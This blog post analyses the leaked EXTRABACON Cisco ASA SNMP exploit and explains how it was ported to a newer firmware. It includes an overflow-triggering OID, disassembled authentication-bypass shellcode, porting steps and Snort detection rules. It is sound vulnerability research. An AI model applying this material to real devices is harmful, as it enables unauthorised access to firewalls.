In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA.

Meet Cisco ASA

Cisco Adaptive Security Appliance (ASA) is a widely adopted network security appliance that – besides standard packet filtering capabilities –, also provides a portfolio of “smart”, application level features such as L7 protocol inspection or VPN. Presumably this complex feature set was one of the motivators for Cisco to choose x86 CPUs (32-bit on smaller, 64-bit on bigger boxes) for their implementation.

According to the vendor homepage there are more than 1 million devices deployed around the world.

The wide deployment, well understood architecture and the complex (thus likely bug rich) feature set makes Cisco ASA a hacker’s wet dream. It’s no surprise that several teams have done extensive research on the platform – among these the recent work of Exodus Intelligence and Alec Stuart’s Breaking Bricks presentation were the most inspirational for us, we highly recommend to take a good look at these before moving on!

The test lab

To start up with ASA it’s best to have some actual hardware. Fortunately ASA 5505 boxes can be found relatively cheaply on online auction sites. The different appliance versions have different size of internal persistent storage that limits the size of the firmware that can be uploaded, but the one available in 5505 is enough to test the 9.2 line that we are mostly interested in right now.

When your little greenish(?) friend arrives you’ll probably won’t have a clue about its configuration so you should establish a serial connection that gives you opportunity to reset the configuration and access the console without a password. For this you’ll need a Cisco console cable (RJ45-to-DB9), and an RS232-USB converter – all available on your favorite online shop. With these you can connect the Console port of the device to the USB port on your workstation. On Linux you can use minicom to connect to the console, connection parameters are:

• 9600 baud
• Parity: 8N1

After you’re connected you can check the firmware version and configure the device. For our purposes it’s important to configure your interfaces for IP networking, enable SSH and SNMP (don’t forget to enable traffic in the access-list!) – you should consult the official Cisco documentation about how to do this.

To install new firmware, you first need the matching firmware binary. Several versions can be found on the Internet with some smart googling, the name of the image file for version 9.2(4) is asa924-k8.bin. New firmware can be uploaded to the internal flash memory of the device via SCP:

If SCP doesn’t work (OpenSSH usually just prints lost connection), check if a file with the same name already exists, since their SCP implementation (apparently) refuses to overwrite files. In such a case, just delete the file with the delete command in console.

The boot order can then be configured according to this manual.

With the preferred firmware version and the serial connection you can already verify the memory corruption exploited by EXTRABACON by sending a long SNMP OID like:

1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144

This will likely result in an access violation that results in some basic debug information dumped on the serial console. This is nice, but you probably want to interactively debug your nice new target, let’s see how!

Remote debugging

To configure remote debugging we followed the guidelines of Alec Stuart (see the link above), here we now just give a quick overview of the process.

ASA runs a Linux-like operating system where a large monolithic ELF binary called lina is responsible for handling (almost) all data coming through in task specific threads. The firmware image contains the root file system with all binaries and configuration files – you can extract this with binwalk:

$ binwalk -e asa924-k8.bin

    DECIMAL     HEX         DESCRIPTION
    -------------------------------------------------------------------------------------------------------------------
    514         0x202       LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes
    144510      0x2347E     gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression
    1500012     0x16E36C    ELF
    1501296     0x16E870    gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015
    28192154    0x1AE2D9A   Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll"  
    28773362    0x1B70BF2   Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll"

The rootfs.img file starts from offset 0x16E36C (in this case) in gzipped form, the file itself is a CPIO archive that you can extract with the standard command line tool. The /asa/scripts/rcS file is responsible for starting up lina during init. This file conveniently contains a commented line that passes command line arguments for the lina_monitor executable so it’ll start up with a GDB server enabled:

# Use -g to have system await gdb connect during boot.<br></br>#echo "/asa/bin/lina_monitor -l -g -d" >> /tmp/run_cmd

We modified the repack.sh script demonstrated by Alec to:

1. Automatically find and carve out rootfs.img from the firmware image
2. Unpack it
3. Replace rcS so it’ll start up lina in debug mode
4. Repack the rootfs
5. Put the new rootfs archive back into the firmware binary using dd

After replacing the original firmware image on the device lina will wait for GDB attach during startup:

Process /asa/bin/lina created; pid = 518<br></br>Remote debugging using /dev/ttyS0

To continue execution, fire up GDB as root, and attach to the target over serial:

(gdb) target remote /dev/ttyUSB0

Now you can interactively debug your device. And the good news is: this was the hard part :)

Bacon and eggs

When we started dealing with EXTRABACON our main question was how hard it could be to add support to newer firmware versions. For this reason we took a “hacky” approach and looked for the easiest way to approach the problem, without caring too much about Cisco internals or other in depth details.

First let’s take a look at the directory structure:

.
├── extrabacon_1.1.0.1.py
├── Mexeggs
│   ├── all.py
│   ├── argparse.py
│   ├── hexdump.py
│   ├── __init__.py
│   ├── loglib.py
│   ├── log.py
│   ├── sploit.py
│   └── version.py
├── scapy
...
└── versions
    ├── shellcode_asa802.py
...
    └── shellcode_asa844.py

As we can see, shellcode for different firmware versions are stored separately in the versions/ directory, the main exploit code in a single Python file, extrabacon_1.1.0.1.py. This indicates modular design and version control, one Little Sunshine for the authors!

Mexeggs is a “mini-framework” for the exploit: it defines standard interfaces for the implementation and handles common tasks like argument parsing and logging (The default log directory is D:\DSZOPSDisk\logs, the logs are stored under the directory codenamed "concernedparent"). This enforces self-documentation and facilitates integration with other tools, another Little Sunshine.

Because of modularity the main exploit script only concerns us as long as we fix up version detection in the Extrabacon.fw_version_check() function – many draw conclusions about code quality because of the longer elif statement structure here, but I’m perfectly fine with adding just two lines (that I can basically copy-paste) to the source without figuring out some clever solution^TM.

Let’s take a look at the shellcode scripts! To have a sense about how much work is ahead, one can just do a byte-by-byte diff on the files, here’s a capture between 8.0(2) and 8.4(4), the first and last supported versions:

What we can see is that the shellcode is mostly the same for both versions, there are only some 2-4 bytes differences (some addresses/offsets maybe? :). There is a clear difference in the my_ret_addr values in every version, but anyone who ever done this kind of exploitation would be really happy to see a variable name (and value) like this: After added the two lines for version detection we copied one of the original shellcode files with the name shellcode_asa924.py to the versions directory and defined the usual 0x41414141 value as my_ret_addr. After launching the exploit, we were awarded with a nice little SIGSEGV:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 523]
0x41414141 in ?? ()
(gdb) info reg
eax            0x0    0
ecx            0xcbd65a48    -875144632
edx            0x0    0
ebx            0x90909090    -1869574000
esp            0xccb980e0    0xccb980e0
ebp            0x90909090    0x90909090
esi            0x90909090    -1869574000
edi            0x90909090    -1869574000
eip            0x41414141    0x41414141
eflags         0x213246    [ PF ZF IF #12 #13 RF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) 

As we can see, this is a clear instruction pointer overwrite, the NOPed register values also suggest that we are facing a classic stack-based buffer overflow. Before you ask: no, Cisco didn’t employ any kind of exploit mitigation, we don’t have to come around stack canaries, and the memory layout of the system is the same on every instance with identical firmware versions, so we can party like in the ’90s!

After a quick inspection of the memory it’s clear that other parts of the shellcode are present on the stack, and like in a textbook example ESP points right to the second fragment in the script called finder – the disassembly of this stage can be read below:

$ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90"
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
jmp eax
nop

This simple code dereferences a pointer on the stack twice to transfer execution for the second stage. This code could be reused without modification and was 100% reliable during our tests, we only had to set my_ret_addr to a fixed address pointing to a jmp esp instruction in the 9.2(4) lina binary. The second stage called preamble is also pretty simple:

mov eax, 0xad47cc10
xor eax, 0xa5a5a5a5 ; EAX=8E269B5
sub esp, 4
mov dword [esp], eax
mov ebp, esp
add ebp, 0x48
xor eax, eax
xor ebx, ebx
mov bl, 0x10
xor esi, esi
mov edi, 0xaaaaaaae
xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B
push al

This code fixes the corrupted stack frame (Little Sunshine for the tidy room!) and pushes some constants (one of them looks like a code pointer…) on the stack – more about these later. After this, launcher is executed:

mov eax, dword [esp + 0x1e8]
add al, 1
call eax

This little one reads a pointer from the stack, adjusts it a bit then calls the resulting address. Since we didn’t know what kind of pointer we were looking for we uploaded old firmware matching one of the supported versions to our device and modified the corresponding shellcode fragments to start with the 0xCC opcode (INT 3) that triggers a memory dump (we were too lazy to patch this firmware too for remote debugging…). This way we could find out that the address launcher is looking for is pointing to our first actual payload PMCHECK_disable. The launcher didn’t work out-of-the-box, so we started to search the memory around ESP to find signs of the payload. For this we initially used the 0xa5a5a5a5 pattern that is used in numerous places as an XOR mask, then narrowed the search with longer patterns. After we found the start of the payload, we looked for values on the stack pointing close to it. Finally were able to make this stage work too with some minor modifications on the included offsets.

The payload actually consists of two parts, PMCHECK_disable and AAAADMINAUTH_disable which work in a really similar fashion, so we’ll now just discuss the first one of these:

mov edi, 0xa5a5a5a5
mov eax, 0xa5a5a5d8
xor eax, edi        ; EAX=7D
mov ebx, 0xacf065a5
xor ebx, edi        ; EBX=955C000
mov ecx, 0xa5a5b5a5
xor ecx, edi        ; ECX=1000
mov edx, 0xa5a5a5a2
xor edx, edi        ; EDX=7
int 0x80            ; SYSCALL
jmp 0x39
mov edi, 0x955c9f0  ; ADDRESS TO PATCH
xor ecx, ecx
mov cl, 4
cld
rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY
jmp 0x42
pop esi
jmp 0x25
call 0x36
xor eax, eax  ; PATCH CODE
inc eax
ret

The first part again unmasks some constant values then triggers a syscall. The syscall identifier is in EAX by convention, so what we’re basically doing is:

sys_mprotect(start=0x955C000, len=0x1000, prot=0x7)

…effectively setting a memory page containing 0x955c9f0 writable. Fortunately the corresponding firmware is also publicly available, after extraction and disassembly it’s clear that this address is the entry point of a function that is (surprise!) responsible for an authentication check. The end of the shellcode (“always return 1”) is then copied to this address with the rep movsb instruction, finally the shellcode forwards the execution to the AAAADMINAUTH_disable payload part, that does exactly the same with the AAA API of the firmware. This way critical authentication checks will always return SUCCESS, resulting in an authentication bypass.

Please note that we’re now having arbitrary code execution, so this patchwork is just one of the possible things we could do. Unfortunately, performing networking from shellcode on ASA is not trivial (see the XI post for details), so this solution seems reasonable, one that is both compact and easy to adopt to new targets.

We adopted this code by looking up the patched functions in the newer firmware. Although subgraph isomorphism is a hard problem, in practice (close to) identical code parts could be identified based on debug strings (there are a lot of these in the lina binary) and “unique looking” code patterns (we admit that for this second part you need some intuition and luck). In IDA the matching functions are visually very similar, it’s easy to recognize them once they are found. And once again, the great thing about the payload is that after the matching entry points are found, we only have to modify 2 constants, and we’re done.

Or are we? :) Although at this point we’ve successfully executed our payload, and authentication is disabled, we can’t login to a device that has crashed because we started to execute some garbage from the stack (which is executable, if it wasn’t obvious until now :).

Remember the constant that looked like a code pointer in the preamble? Well, this is exactly the address where our almost ready exploit crashes the target. If we take a look at the disassembly in the “old” lina, we can see, that this is an address right after a function call, possibly a call to a function, where the corruption occurred and after which we’d like to continue execution like nothing have happened. The process here was the same: look up the same function in the new binary, patch the constant address in the preamble, and our exploit works as expected.

Summary

All in all, to support a new version one has to:

1. Find a JMP ESP address
2. Fix up stack offsets
3. Fix two hardcoded function entry addresses
4. Fix the hardcoded return address

Steps 1., 3. and 4. can be performed automatically via static analysis. In our case step 2. required some debugging, but with some better understanding of the code it really seems plausible to fully automate the process of shellcode generation. In fact, leaked shellcode files start with this comment:

#
# this file autogenerated, do not touch
#

It’s also important to note that we created the new exploit version without detailed root cause analysis, special tools or source code, based just on the information available in the leaked code and obtained through debugging and simple static binary analysis.

Little Sunshine.

Future work

As we encounter ASA devices regularly during our pentest projects we want to continue the work to add support for as many affected versions as possible. For this we plan to automate most of the process of shellcode generation that looks like an exciting task.

It’s also important to perform extensive reliability tests, because we don’t want to risk crashing the equipment of our customers. Although the original exploit is very reliable, the described process seems to introduce some uncertainty that is yet to be resolved.

Detection, mitigation, solution?

Cisco released a detailed blog post and security advisory about the vulnerability exploited by EXTRABACON confirming that all supported versions are vulnerable. As of the time of writing no patch is available, as Workaround the vendor recommends to restrict access to the SNMP interface and set up hard to guess community strings. Two notes on these workarounds:

• SNMP is a UDP based protocol that allows trivial source address spoofing. You should keep this in mind when designing/reviewing network level workarounds.
• Community strings are transferred in plain text on the network. We don’t expect the common community strings (like public) to go away any time soon either.

There are also Snort rules available, from which I could access the one from Emerging Threats (thanks Mario):

alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA PMCHECK Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ac 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023070; rev:1;)

alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA AAAADMINAUTH Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ad 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023071; rev:1;)

(If you have access to the rules released by Cisco or other IDS/IPS signatures, please contact us!)

This is clearly an attempt to catch one of the payloads by matching a signature, which can be trivially bypassed by changing the XOR mask, or change the sequence of some instructions (just to name a few methods).

From forensics perspective, the "return 1" patches are clear indicators of compromise (the corresponding memory addresses can be extracted from the leaked files), although we have to stress that the known payloads are just some of the infinite possible ones.

Before the publishing this post Cisco started to roll out patches for certain firmware versions – be sure to test and apply these on your equipment to thwart the attacks based on EXTRABACON! As the vendor started to systematically eradicate vulnerabilities, we expect the latest patches to include more than just this fix, that would be an effort to be appreciated. However, in the long term up-to-date exploit mitigation techniques should be applied on ASA (and other) software to provide scalable protection for the platform, killing entire vulnerability classes and raising attacker cost.

We’ll update this post as new relevant information emerges.

Update 2016.08.29.: Fixed notes on CPU architecture.